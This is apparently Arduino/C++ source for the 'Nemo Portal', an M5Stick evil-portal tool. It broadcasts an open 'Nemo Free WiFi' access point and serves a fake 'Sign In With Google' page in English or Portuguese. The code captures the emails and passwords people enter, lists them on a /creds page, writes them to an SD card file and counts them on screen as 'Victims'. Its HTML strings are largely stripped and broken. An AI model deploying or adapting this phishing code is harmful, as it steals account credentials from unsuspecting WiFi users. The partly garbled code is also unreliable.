// Borrowed from https://github.com/marivaaldo/evil-portal-m5stack/ which
// has iterative iprovements over my own stand-alone M5Stick Evil Portal.
// Retaining the Portuguese translations since this project has a large
// fan base in Brazil. Shouts to CyberJulio as well.
#define DEFAULT_AP_SSID_NAME "Nemo Free WiFi"
#define SD_CREDS_PATH "/nemo-portal-creds.txt"
#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR)
#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR"
#endif
#if defined(LANGUAGE_EN_US)
#define LOGIN_TITLE "Sign in"
#define LOGIN_SUBTITLE "Sign In With Google"
#define LOGIN_EMAIL_PLACEHOLDER "Email"
#define LOGIN_PASSWORD_PLACEHOLDER "Password"
#define LOGIN_MESSAGE "Please log in to browse securely."
#define LOGIN_BUTTON "Next"
#define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet."
#elif defined(LANGUAGE_PT_BR)
#define LOGIN_TITLE "Fazer login"
#define LOGIN_SUBTITLE "Use sua Conta do Google"
#define LOGIN_EMAIL_PLACEHOLDER "E-mail"
#define LOGIN_PASSWORD_PLACEHOLDER "Senha"
#define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura."
#define LOGIN_BUTTON "Avançar"
#define LOGIN_AFTER_MESSAGE "Fazendo login..."
#endif
int totalCapturedCredentials = 0;
int previousTotalCapturedCredentials = 0;
String capturedCredentialsHtml = "";
// Init System Settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway
unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
DNSServer dnsServer;
WebServer webServer(80);
void setupWiFi() {
Serial.println("Initializing WiFi");
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(apSsidName);
}
void setSSID(String ssid){
#if defined USE_EEPROM
Serial.printf("Writing %d bytes of SSID to EEPROM\n", ssid.length());
for(int i = 0; i < ssid.length(); i++) {
EEPROM.write(i + apSsidOffset, ssid[i]);
Serial.printf("%d:%d ", i+ apSsidOffset, ssid[i]);
}
EEPROM.write(apSsidOffset + ssid.length(), 0);
EEPROM.commit();
Serial.println("\ndone.");
#endif
apSsidName=ssid;
return;
}
void getSSID(){
String ssid="";
#if defined USE_EEPROM
if(EEPROM.read(apSsidOffset) < 32 || EEPROM.read(apSsidOffset) > 254){
Serial.println("SSID EEPROM Corrupt or Uninitialized. Using Defaults.");
apSsidName=DEFAULT_AP_SSID_NAME;
return;
}
for(int i = apSsidOffset; i < apSsidOffset + apSsidMaxLen; i++) {
int ebyte=EEPROM.read(i);
Serial.printf("%d:%d ", i, ebyte);
if(ebyte < 32 || ebyte > 254){
Serial.println("SSID: " + ssid);
apSsidName=ssid;
return;
}
ssid += char(ebyte);
}
#else
apSsidName=DEFAULT_AP_SSID_NAME;
#endif
return;
}
void printHomeToScreen() {
DISP.fillScreen(BLACK);
DISP.setSwapBytes(true);
DISP.setTextSize(MEDIUM_TEXT);
DISP.setTextColor(TFT_RED, BGCOLOR);
DISP.setCursor(0, 0);
DISP.println("NEMO PORTAL");
DISP.setTextSize(SMALL_TEXT);
DISP.setTextColor(FGCOLOR, BGCOLOR);
DISP.printf("%s\n\n",apSsidName.c_str());
DISP.print("WiFi IP: ");
DISP.println(AP_GATEWAY);
DISP.println("Paths: /creds /ssid");
DISP.setTextSize(MEDIUM_TEXT);
DISP.setTextColor(TFT_RED, BGCOLOR);
DISP.printf("Victims: %d\n", totalCapturedCredentials);
DISP.setTextColor(FGCOLOR, BGCOLOR);
}
String getInputValue(String argName) {
String a = webServer.arg(argName);
a.replace("<", "<");
a.replace(">", ">");
a.substring(0, 200);
return a;
}
String getHtmlContents(String body) {
String html =
""
""
""
" "
+ apSsidName + ""
" "
" "
" "
""
""
" "
""
"";
return html;
}
String creds_GET() {
return getHtmlContents("" + capturedCredentialsHtml + "
Back to Index
Clear passwords
");
}
String index_GET() {
String loginTitle = String(LOGIN_TITLE);
String loginSubTitle = String(LOGIN_SUBTITLE);
String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER);
String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER);
String loginMessage = String(LOGIN_MESSAGE);
String loginButton = String(LOGIN_BUTTON);
return getHtmlContents("" + loginTitle + "
" + loginSubTitle + "
");
}
String index_POST() {
String email = getInputValue("email");
String password = getInputValue("password");
capturedCredentialsHtml = "Email: " + email + "Password: " + password + "" + capturedCredentialsHtml;
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());
#endif
return getHtmlContents(LOGIN_AFTER_MESSAGE);
}
String ssid_GET() {
return getHtmlContents("Set a new SSID for NEMO Portal:
");
}
String ssid_POST() {
String ssid = getInputValue("ssid");
Serial.println("SSID Has been changed to " + ssid);
setSSID(ssid);
printHomeToScreen();
return getHtmlContents("NEMO Portal shutting down and restarting with SSID " + ssid + ". Please reconnect.");
}
String clear_GET() {
String email = "";
String password = "";
capturedCredentialsHtml = "";
totalCapturedCredentials = 0;
return getHtmlContents("The credentials list has been reset.